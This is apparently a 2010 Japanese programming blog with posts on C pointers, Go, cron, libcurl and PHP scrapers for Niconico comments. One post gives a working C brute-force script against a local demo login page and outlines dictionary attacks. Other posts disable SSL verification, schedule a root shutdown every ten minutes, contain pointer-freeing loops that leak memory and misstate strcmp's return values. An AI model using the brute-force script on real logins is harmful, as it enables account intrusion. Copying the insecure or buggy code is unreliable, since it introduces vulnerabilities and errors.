ページ

2010年12月20日月曜日

[cui] [soft] utf8, utf16のBOMを除去するソフト公開

このエントリーをはてなブックマークに追加

rmbom.zip download :
http://www21.atpages.jp/~lyrycal/download.html

・使い方についてはCode.zip内のreadMe.txtを参照してくだい。
・ウィルスチェックしてください。

by Raisana.

[cui] [soft] コマンドプロンプトで暗号化・復号化ができるソフトを作ってみた。

このエントリーをはてなブックマークに追加

Code.zip download :
http://www21.atpages.jp/~lyrycal/download.html

・使い方についてはCode.zip内のreadMe.txtを参照してくだい。
・ウィルスチェックしてください。

by Raisana.

[curl] [cui] Windowsからcurlを使用する

このエントリーをはてなブックマークに追加

(i) http://curl.haxx.se/download.htmlからcurl-7.21.3.zipをdownload(12/20現在)

(ii) 解凍したcurl.exeをc:\curlに入れる

(iii) c:\curl;でパスを通す(スタート → コンピュータ  → システムのプロパティ → システムの詳細設定  → 詳細設定  → 環境変数  → システム環境変数のPathをダブルクリックして変数値c:\curl;を追加する)(vista/win7)

(iv) コマンドプロンプトを起動しcurlと入力する。成功すればcurl: try 'curl --help' or... と表示されます。

(v) curl -o lyrycalprogramming.html http://www21.atpages.jp/lyrycal/ のようにinput すればhtml形式のファイルがカレントディレクトリに保存される。(プロキシ環境では -x パラメータ追加すればダウンロードできます)

2010年10月28日木曜日

[C][VC++ 2010] strcmpの戻り値

このエントリーをはてなブックマークに追加

('A' < 'Z' < 'a' < 'z') = (0x41 < 0x5a < 0x61 < 0x7a)

// 2つの引数が同じ場合戻り値は 0
strcmp("A", "A") == 0

// 第一引数のほうが第二引数より小さければ戻り値は -1
strcmp("A", "B") == -1

// 第一引数のほうが第二引数より大きければ戻り値は 1
strcmp("B", "A") == 1


//==========================================
// 文字列の場合は頭から順に比較していきます。
//==========================================

// (i) A < E 先頭がこのような条件なので戻り値は -1
strcmp("ABC", "E") == -1

// (i) A == A, (ii) B == B, (iii) C < D ここで戻り値は -1 確定
strcmp("ABC", "ABD") == -1

// (i) A == A, (ii) B == B (iii) C == C, (iv) NULL < D ここで戻り値は -1 確定
strcmp("ABC", "ABCD") == -1

// (i) A < B, ここで戻り値は -1 確定
strcmp("ABC", "BCD") == -1

2010年10月27日水曜日

[C/C++]ポインタのポインタとポインタ配列

このエントリーをはてなブックマークに追加

//===============================================
// (i)
// iの領域がsizeof(int) * 10バイト
//===============================================
int * i;
i = (int *)malloc(sizeof(int) * 10);

*(i + 0) = 0;
*(i + 1) = 1;

free(i);



//===============================================
// (ii)
// iの要素の領域がsizeof(int)バイト
//===============================================
int ** i;

i = (int **)malloc(sizeof(int *) * 10);
for(int j = 0; j < 10; j++){
*(i + j) = (int *)malloc(sizeof(int));
}

*(*(i + 0)) = 0;
*(*(i + 1)) = 1;

for(int j = 9; j > 0; j--){
free(*(i + j));
}

free(i);



//===============================================
// (iii)
// iの要素の領域がsizeof(int)バイト
//===============================================
int * i[10];

for(int j = 0; j < 10; j++){
i[j] = (int *)malloc(sizeof(int));
}


*i[0] = 0;
*i[1] = 1;


for(int j = 9; j > 0; j--){
free(i[j]);
}



//===============================================
// (iv)
// strが(sizeof(int) + sizeof(int)) * 10 バイト
//===============================================
struct STR{
int x;
int y;
};

int main(){

STR * str;
str = (STR *)malloc(sizeof(STR) * 10);

(*(str + 0)).x = 0; (*(str + 0)).y = 0;
(*(str + 1)).x = 1; (*(str + 1)).y = 1;

free(str);

return 0;
}



//===============================================
// (v)
// strの要素が(sizeof(int) + sizeof(int)) バイト
//===============================================
struct STR{
int x;
int y;
};


int main(){

STR ** str;
str = (STR **)malloc(sizeof(STR *) * 10);
for(int j = 0; j < 10; j++){
*(str + j) = (STR *)malloc(sizeof(STR));
}

(*(str + 0))->x = 0; (*(str + 0))->y = 0;
(*(str + 1))->x = 1; (*(str + 1))->y = 1;

for(int j = 9; j > 0; j--){
free(*(str + j));
}
free(str);


return 0;
}



//===============================================
// (vi)
// strの要素が(sizeof(int) + sizeof(int)) バイト
//===============================================

struct STR{
int x;
int y;
};


int main(){

STR * str[10];
for(int j = 0; j < 10; j++){
str[j] = (STR *)malloc(sizeof(STR));
}

str[0]->x = 0; str[0]->y = 0;
str[1]->x = 1; str[1]->y = 1;

for(int j = 9; j > 0; j--){
free(str[j]);
}

return 0;
}

2010年10月22日金曜日

[C/C++] 三次元 ポインタ

このエントリーをはてなブックマークに追加

#include<iostream>


int main(){

int *** ary_p;

ary_p = (int ***)malloc(sizeof(int **) * 3);
for(int i = 0; i < 3; i++){
ary_p[i] = (int **)malloc(sizeof(int *) * 3);
}
for(int i = 0; i < 3; i++){
for(int j = 0; j < 3; j++){
ary_p[i][j] = (int *)malloc(sizeof(int) * 3);
}
}

for(int i = 0; i < 3; i++){
for(int j = 0; j < 3; j++){
for(int p = 0; p < 3; p++){
*(*(*(ary_p+i)+j)+p) = p + i + j;
std::cout << *(*(*(ary_p+i)+j)+p) << "\n";
}
}
}

return 0;
}

2010年8月29日日曜日

[Google Go] 2.Hello Go World

このエントリーをはてなブックマークに追加

//==============================================
// hello.go (source)
//==============================================

package main
import "fmt"

func main(){
fmt.Printf("Hello Go World\n")
/* comment */
// comment
}

//==============================================
// compile (6g for x86 64bit)
//==============================================
6g hello.go
6l -o hello hello.6
./hello

//==============================================
// compile (8g for x86 32bit)
//==============================================
8g hello.go
8l -o hello hello.6
./hello

1.このプログラムではターミナルにHello Go Worldと出力されます。
2.fmt.Printfを使用するためにfmt packageをインポートしています。他の機能を使用したい場合は他のパッケージをインポートします。
3.funcというキーワードで関数を導入します。
4.main関数はいくつかの初期化の後に走り始めます。
5.Go言語のソースファイルはUTF-8(BOMなし)でエンコードするように定義されている。
6.注釈の取り決めはC++と同じです。
/* hoge hoge */
// hoge hoge
7.コンパイルはx86 64bit版のための6g, x86 32版のための8gがあります。

[Google Go] 1.Introduction

このエントリーをはてなブックマークに追加

[重要]
1.golang.orgに基づいて記載していきます。
2.Go言語についての3日間コースのPDF → Day1, Day2, Day3
3.Go言語の控えめなソースコード /doc/progs/

[注意]
1.windows環境はお勧めしません。(使用できないPackageが存在する)

[raisanaの実行環境]
Ubuntu 10.04

2010年7月6日火曜日

無料ホームページスペースの上部広告をCSSで消す。

このエントリーをはてなブックマークに追加

<style>
*{margin:0px; padding:0px;}
div#body{width:100%; position:absolute; top:0px; background-color:#FF0000;}
div#main_table{margin:auto; width:750px; height:1000px; background-color:#00FF00;}
</style>

<body>
<div id="body">
<div id="main_table"></div>
</div>
</body>

2010年6月25日金曜日

[C言語][cURL]辞書攻撃の例

このエントリーをはてなブックマークに追加

辞書攻撃とは?:
辞書に記載された単語を利用して特定文字列を推察する方法
wikipedia参照

1.辞書は自分で用意する。
例) Lyrycal Nanoha Fate
2.辞書にある単語を組み合わせる or 単体
例) LyrycalNanohaFate LyrycalNanoha Nanoha
3.前回の記事の変数iの中身を(2)で出来た単語に変える。

[C言語][cURL] 総当り攻撃(ブルートフォースアタック)の例

このエントリーをはてなブックマークに追加

総当り攻撃(ブルートフォースアタック)とは?:
暗号解読方法のひとつで、可能な組み合わせを全て試すやり方。wikipedia参照


注意:
1.ご自身のページにアタックしてくだい。
2.簡単な作りになっているため、ご自分のページに合うように調整してください。
3.絶対に悪用しないでください。セキュリティの勉強用です。

cURLライブラリの使い方等は過去の記事をご覧ください。





//====================================
// Auth.php
//====================================
<?php

if($_POST['Auth'] === "12345"){
print("A".$_POST['Auth']);
}

?>

<form action="Auth.php" method="post">
<input type="password" name="Auth">
<input type="submit" value="send">
</form>





//====================================
// brute_force_attack.c
//====================================
#include<stdio.h>
#include<string.h>
#include<unistd.h>
#include<curl/curl.h>

int flag;

size_t func(void *, size_t, size_t, void *);



int main(void){

char post[256];
size_t i = 0;

CURL * curl;
CURLcode res;

flag = 0;

curl = curl_easy_init();

while(1){

usleep(100);

sprintf(post, "Auth=%u", i);

curl_easy_setopt(curl, CURLOPT_URL, "http://localhost/Auth.php");

/* POST METHOD Auth=[]を送る */
curl_easy_setopt(curl, CURLOPT_POST, 1L);
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, post);

/* CALLBACK */
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, func);

res = curl_easy_perform(curl);

printf("%u\r", i);

if(flag){
printf("\n");
break;
}

i++;
}

curl_easy_cleanup(curl);

return 0;
}



size_t func(void * ptr, size_t size, size_t nmemb, void * stream){

char str[65536];

memcpy(str, ptr, size * nmemb);

if(str[0] == 'A'){
flag = 1L;
return 0L;
}

return nmemb;
}

2010年6月22日火曜日

[C言語][cURL] 文字列を取り出す

このエントリーをはてなブックマークに追加

1.とりあえず文字列を取り出したい人用です。エラー処理は皆無です。エラー処理もしたい方は参考URLを参照してくだい。
2.C言語でcURLライブラリを使用したい方は[Ubuntu 10.04] C言語 cURLライブラリを使うを参照してくだい。


//================================================

#include<stdio.h>
// memcpy()
#include<string.h>
#include<curl/curl.h>

char buf[65536];
size_t po;

// fwrite or freadにそっくり
size_t func(void *, size_t, size_t, void *);

int main(void){

CURL * curl;
CURLcode res;

po = 0;

curl = curl_easy_init();
curl_easy_setopt(curl, CURLOPT_URL, "http://localhost/www.yahoo.co.jp");
// CALLBACK
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, func);
res = curl_easy_perform(curl);
curl_easy_cleanup(curl);

// res(unsigned int) 0以外はErrorCode
if(!res){
printf("%s\n", buf);
}

return 0;
}

size_t func(void * ptr, size_t size, size_t nmemb, void * stream){

// debug用
// printf("%s", (char *)ptr);

memcpy(buf+po, ptr, size * nmemb);
po += size * nmemb;
*(buf + po) = '\0';

return nmemb;
}

//================================================


参考URL
libcurl - C API
cURL と libcurl を使ってインターネット経由でやりとりする

2010年6月20日日曜日

[Ubuntu 10.04][cron] 自動的にC言語プログラム(実行ファイル)読み込む注意点?

このエントリーをはてなブックマークに追加

//===============================================
// crontabをeditorで開く
//===============================================
sudo gedit /etc/crontab


//===============================================
// root権限でShellScriptを1分毎に実行
//===============================================
# m h dom mon dow user command
# [user name]は存在する名前に変更してください。
00-59 * * * * root sh /home/[user name]/test.sh


//===============================================
// test.sh (Cファイルのコンパイル and 実行)
//===============================================
#!/bin/sh
# [user name]は存在する名前に変更してください。
gcc -o /home/[user name]/test /home/[user name]/test.c
/home/[user name]/./test


//===============================================
// test.c
//
// while()内でprintf()関数を使用したところ動作に不具合が生じました。
// debug用に付ける出力関数はコメントアウトすべき!?
//
// コンパイルする際はfopen()関数第1引数[user name]を存在する名前変更してください。
//===============================================
#include<stdio.h>
// strlen()
#include<string.h>
// time()
#include<time.h>
// usleep()
#include<unistd.h>

int main(void){

FILE * fp;
char data[256] = "TEST ";
time_t timer;
size_t t;

t = time(&timer);
// [user name]を変更してください。
fp = fopen("/home/[user name]/conf", "wb");

while(1){

// コメントアウトしないと不具合が起こる?
// printf("debug用");

fwrite(data, 1, strlen(data), fp);

// プロセス渡し
usleep(100);

if(t + 10 <= time(&timer)){
break;
}
}

fclose(fp);

return 0;
}

[Ubuntu 10.04][cron] 自動的にShellScriptを読み込む

このエントリーをはてなブックマークに追加

//===============================================
// crontabをeditorで開く
//===============================================
sudo gedit /etc/crontab


//===============================================
// root権限で10分毎にシャットダウンする。(ちゃんと動作するか確認)
//===============================================
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user command
# この下に自動的に実行したい時間とコマンドを記入
00,10,20,30,40,50 * * * * root shutdown -h now


//===============================================
// root権限でShellScriptを1分毎に実行
//===============================================
# m h dom mon dow user command
# [user name]は存在する名前に変更してください。
00-59 * * * * root sh /home/[user name]/test.sh

//===============================================
// test.sh
//===============================================
#!/bin/sh
# [user name]は存在する名前に変更してください。
cp /home/[user name]/test.sh /home/[user name]/test.cp


参考URL
cronとは
crontabの書き方

2010年6月16日水曜日

[Ubuntu 10.04] C言語 cURLライブラリを使う

このエントリーをはてなブックマークに追加

//==============================================
// 最新版のCURLの圧縮ファイルをDOWNLOAD
// 2010/6/16現在
/===============================================
http://curl.haxx.se/latest.cgi?curl=tar.gz
curl-7.20.1.tar.gz


/===============================================
// 解凍
//==============================================
tar xvzf curl-7.20.1.tar.gz


//==============================================
// インストール
// /usr/local/ にインストールされる
//==============================================
curl-7.20.1$ ./configure
curl-7.20.1$ sudo make
curl-7.20.1$ sudo make install


//==============================================
// 実験するディレクトリを作成し、そこにlibをコピーする
//==============================================
$ mkdir curl
$ sudo cp ../../usr/local/lib/libcurl.so curl


//==============================================
// ソースを書く(curl.c)
// /home/[user name]/curl/の中に作る
//==============================================
#include<stdio.h>
#include<curl/curl.h>

int main(void){

CURL * curl;
// cURLリソースの開放
curl = curl_easy_init();
curl_easy_setopt(curl, CURLOPT_URL, "http://www.yahoo.co.jp");
// 要求した内容の表示
curl_easy_perform(curl);
// cURLリソースの開放
curl_easy_cleanup(curl);

return 0;
}


//==============================================
// コンパイル and 実行
//==============================================
curl$ gcc -o curl curl.c -l curl
       または
curl$ gcc -o curl curl.c libcurl.so

// pathが通ってるか確認
curl$ ldd curl
// pathが通っていなければ
curl$ export LD_LIBRARY_PATH='$LD_LIBRARY_PATH:/usr/local/lib/'
// 実行
./curl


参考ページ
・【C 言語】ダイナミックリンクライブラリ(共有ライブラリ)の作成

2010年6月6日日曜日

[PHP][cURL] ニコニコ生放送のコメント取得

このエントリーをはてなブックマークに追加

・デバックを取りながらやるとわかりやすいと思います。
・ソースはコピーペースとでメモ帳などに貼り付けてみたほうがみやすいです。
・ proxy接続の場合はCURLOPT_PROXY等でGoogleに投げてみてください。
・ソースコードの悪い部分があったら指摘していただけると助かります。


========================================
<html>
<head>
<!-- <meta http-equiv="Refresh" content="0"> -->
</head>

<?php

$CookieFile = "cookie.txt";
$lv = ""; // lv*********
$login_url = "https://secure.nicovideo.jp/secure/login?site=niconico";
$getflv_url = "http://live.nicovideo.jp/api/getplayerstatus?v=".$lv;
// mail address and password
$param = Array("mail"=>"", "password"=>"");


// Login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_COOKIEJAR, $CookieFile);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
curl_setopt($ch, CURLOPT_POST, TRUE);
curl_setopt($ch, CURLOPT_POSTFIELDS, $param);
curl_exec($ch);
curl_close($ch);


// GetFlv
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $getflv_url);
curl_setopt($ch, CURLOPT_COOKIEFILE, $CookieFile);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
$output = curl_exec($ch);
curl_close($ch);


if(preg_match("/(<end_time>)/", $output)){
print("この放送は終了しています!<br>\n");
}
else if(preg_match("@(<code>closed</code>)@", $output)){
print("この放送は終了しています。<br>\n");
}
else if(preg_match("@(<code>comingsoon</code>)@", $output)){
print("この放送はまだ始まっていません。<br>\n");
}
else if(preg_match("@(<code>notfound</code>)@", $output)){
print("not found<br>\n");
}


preg_match("/(<thread>)([0-9]+)/", $output, $thread);
preg_match("/(<addr>)([^<]+)/", $output, $ms);
preg_match("/(<port>)([0-9]+)/", $output, $port);

$MXML = "<thread thread=\"{$thread[2]}\" version=\"20061206\" res_form=\"-1\">\0";


$fp = fsockopen($ms[2], $port[2], $errno, $errstr, 1);

$comment = "";
$StartTime = time();
$flag = FALSE;

if($fp){
fwrite($fp, $MXML);
while (TRUE){

$buf = fread($fp, 65535);
$comment .= $buf;

if($comment && !$flag){
$flag = TRUE;
$EndTime = time();
}

if(time() - $EndTime >= 5){break;}
// Time Outが60secなので55sec以上立つとループから抜ける
else if(time() - $StartTime >= 55){break;}

}
}
fclose($fp);

// $commentの中に文字列が入っているので、これを使用用途によって変える
print($comment);

?>

</html>
========================================
以上のソースコードはBSDライセンスです。
Copyright (C) 2010 raisana



・参考サイト

PHP-CLIでニコ生コメントビューア
ニコニコ動画API: getflvとコメントの取得

2010年6月3日木曜日

[PHP][cURL] ニコニコ動画のコメントを抽出する

このエントリーをはてなブックマークに追加

・デバックを取りながらやるとわかりやすいと思います。
・ソースはコピーペースとでメモ帳などに貼り付けてみたほうがみやすいです。
・proxy接続の場合はCURLOPT_PROXY等でGoogleに投げてみてください。
・ソースコードの悪い部分があったら指摘していただけると助かります。

1.ログインする
2.http://ext.nicovideo.jp/api/getflv/smxxxxに接続する(接続に成功した場合は$outputにthread_id= ~ というStringが格納される)
3.http://ext.nicovideo.jp/api/getflv/smxxxxからthread_idとmsのurlを抜き出す
4.message serverにpostするStringを作成する
5.message serverに4で作成しStringをpostする。

===========================================

<?php

define("res", -1 * 50); // 取り出すコメントの量(50)

$VideoId = "smxxxxxx"; // 動画ID
$login_url = "https://secure.nicovideo.jp/secure/login?site=niconico"; // ニコニコログインURL
$getflv_url = "http://ext.nicovideo.jp/api/getflv/".$VideoId; // GetFlvURL
$param = Array(
"mail"=>"your mail address",
"password"=>"your password"
); // mail, password
$cookiefile = "cookie.txt"; // save cookie

//=========================================================
// cURLで接続するクラス
//=========================================================
class Connect{

// cURLリソース
private $ch;
// parameters
private $param = Array();
// option
private $option = Array();
// ThreadId
private $ThreadId;
// MessageServer
public $ms;
// MessageXML;
private $MXML;

//===========================================
// コンストラクタ
// 引数
// $param : mail address と passwordの保持
//===========================================
public function __construct($param = Array()){
$this->param = $param;
}

//===========================================
// cURLリソースを開放する
//===========================================
public function Release(){
curl_close($this->ch);
}

//=====================================================
// Settings()の設定
// 引数
// 第一引数 : SSLを有効にするかどうか
// 第二引数 : CookieFileを保存するかどうか
// 第三引数 : CookieFileを読み込むかどうか
// 第四引数 : Postするかどうか(1=LOGIN, 2=Get Comment)
// 第五引数 : GetFlvに接続するかどうか
//=====================================================
private function SettingOption($SSL, $CookieFile, $CookieColl, $Post, $GetFlv){
$this->option['SSL'] = $SSL;
$this->option['CookieFile'] = $CookieFile;
$this->option['CookieColl'] = $CookieColl;
$this->option['Post'] = $Post;
$this->option['GetFlv'] = $GetFlv;
}


//===========================================
// URLに接続
// 引数
// 第一引数 : URLを指定してCURLのリソースを作成する
//===========================================
public function ConnectURL($url){
$this->ch = curl_init();
curl_setopt($this->ch, CURLOPT_URL, $url);
}


//===========================================
// 接続設定 HTTP / COOKIE等
//===========================================
public function Settings($SSL = TRUE, $CookieFile = NULL, $CookieColl = FALSE, $Post = FALSE, $GetFlv = FALSE){

$this->SettingOption($SSL, $CookieFile, $CookieColl, $Post, $GetFlv);

if(!$this->option['SSL']){
// SSL認証をしない。
curl_setopt($this->ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($this->ch, CURLOPT_SSL_VERIFYHOST, FALSE);
}

if($this->option['CookieColl']){
// COOKIEを呼び出す。
curl_setopt($this->ch, CURLOPT_COOKIEFILE, $this->option['CookieFile']);
}

if($this->option['CookieFile']){
// COOKIEを保存する。
curl_setopt($this->ch, CURLOPT_COOKIEJAR, $this->option['CookieFile']);
}

// USER_AGENTを要求する
curl_setopt($this->ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
// 接続する時間(0で永遠に接続)
curl_setopt($this->ch, CURLOPT_CONNECTTIMEOUT, 0);
// TRUEで出力を文字列とする
curl_setopt($this->ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($this->ch, CURLOPT_FOLLOWLOCATION, TRUE);

if($this->option['Post']){
// TRUEでPOST経由で送る
curl_setopt($this->ch, CURLOPT_POST, TRUE);
// LOGIN
if($this->option['Post'] == 1){
curl_setopt($this->ch, CURLOPT_POSTFIELDS, $this->param);
}
// Get Message
else{
curl_setopt($this->ch, CURLOPT_POSTFIELDS, $this->MXML);
}
}
}

//===========================================
// 出力
// 引数
// 第一引数 : コメント数 -1~-1000
//===========================================
public function OutPut($res = 0){

$output = curl_exec($this->ch);

// Get thread_id and messageserver
if($this->option['GetFlv']){

// thread_idを抜き出す
preg_match("/[0-9]+/", $output, $ThreadId);
$this->ThreadId = $ThreadId[0];
// メッセージサーバーのURLを抜き出す
preg_match("/(ms=)([^&]*)/", $output, $ms);
$this->ms = $ms[2];
// encodeされたURLをdecodeする
$this->ms = urldecode($this->ms);
// 通常コメントを取得する時にPOSTするxml
$this->MXML = "<thread thread=\"{$this->ThreadId}\" version=\"20061206\" res_from=\"{$this->res}\" >";

}


// OutPut XML Value
if($this->option['Post'] == 2){
// XMLをArray()に変換する
$xml_parser = xml_parser_create();
xml_parse_into_struct($xml_parser,$output,$vals);
xml_parser_free($xml_parser);

// resで指定した分だけコメントを取り出す
for($i = 4 ; $i < (-1 * $res) + 4; $i++){ print_r($vals[$i]['value']."<br>\n"); } } } } $cURL = new Connect($param); $cURL->ConnectURL($login_url);
$cURL->Settings(FALSE, $cookiefile, FALSE, 1);
$cURL->OutPut();
$cURL->Release();

$cURL->ConnectURL($getflv_url);
$cURL->Settings(TRUE, $cookiefile, TRUE, FALSE, TRUE);
$cURL->OutPut(res);
$cURL->Release();

$cURL->ConnectURL($cURL->ms);
$cURL->Settings(TRUE, FALSE, FALSE, 2);
$cURL->OutPut(res);
$cURL->Release();

$cURL = NULL;

?>

===========================================
以上のソースコードはBSDライセンスです。
Copyright (C) 2010 raisana

・参考サイト

ニコニコ動画API: getflvとコメントの取得
Getflv - ニコニコ動画(API) - Cathode Music